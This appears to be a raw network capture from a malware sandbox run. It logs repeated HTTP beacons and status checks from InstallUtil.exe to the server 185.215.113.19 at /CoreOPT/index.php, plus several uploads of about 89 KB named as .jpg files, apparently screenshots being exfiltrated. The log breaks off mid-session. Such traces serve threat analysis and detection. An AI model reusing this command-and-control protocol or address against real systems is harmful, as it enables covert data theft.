Oct 16, 2024 19:22:51.289485931 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:52.360699892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49731	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:52.485194921 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:53.508955002 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:53.617722034 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:54.037300110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49732	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:53.088459015 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODkzMjU= Host: 185.215.113.19 Content-Length: 89477 Cache-Control: no-cache
Oct 16, 2024 19:22:53.088521004 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 6b 7a 4d 6a 55 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODkzMjU=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:53.088546991 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:53.088546991 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:53.088561058 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:53.088578939 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:53.088608980 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:53.088640928 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:53.088640928 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:53.088684082 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:53.088684082 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:54.839082956 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49733	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:54.173913956 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:55.189924955 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:55.217832088 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:55.632726908 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49734	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:55.061295986 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODkzMjU= Host: 185.215.113.19 Content-Length: 89477 Cache-Control: no-cache
Oct 16, 2024 19:22:55.061295986 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 6b 7a 4d 6a 55 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODkzMjU=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:55.061374903 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:55.061436892 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:55.061436892 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:55.061436892 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:55.061436892 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:55.061556101 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:55.061556101 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:55.061572075 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:55.061665058 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:56.707782984 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	49735	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:55.759654045 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:56.773242950 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:56.775768042 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:57.190476894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	49736	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:56.870178938 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODk0MzQ= Host: 185.215.113.19 Content-Length: 89586 Cache-Control: no-cache
Oct 16, 2024 19:22:56.870249033 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 6b 30 4d 7a 51 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODk0MzQ=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:56.870317936 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:56.870317936 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:56.870317936 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:56.870372057 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:56.870372057 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:56.870372057 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:56.870409966 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:56.870410919 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:56.870445967 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:58.493510962 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	49737	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:57.328031063 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:58.337922096 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:58.339071035 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:58.745862961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Oct 16, 2024 19:22:58.778724909 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTA4NjU= Host: 185.215.113.19 Content-Length: 91017 Cache-Control: no-cache
Oct 16, 2024 19:22:58.778724909 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 41 34 4e 6a 55 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTA4NjU=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:58.778724909 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:58.778724909 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:58.778724909 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:58.778724909 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:58.778835058 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:58.778835058 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:58.778835058 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:58.778835058 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:58.778835058 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:23:00.504224062 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Oct 16, 2024 19:23:00.513603926 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:23:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	49738	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:59.166713953 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:23:00.046847105 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 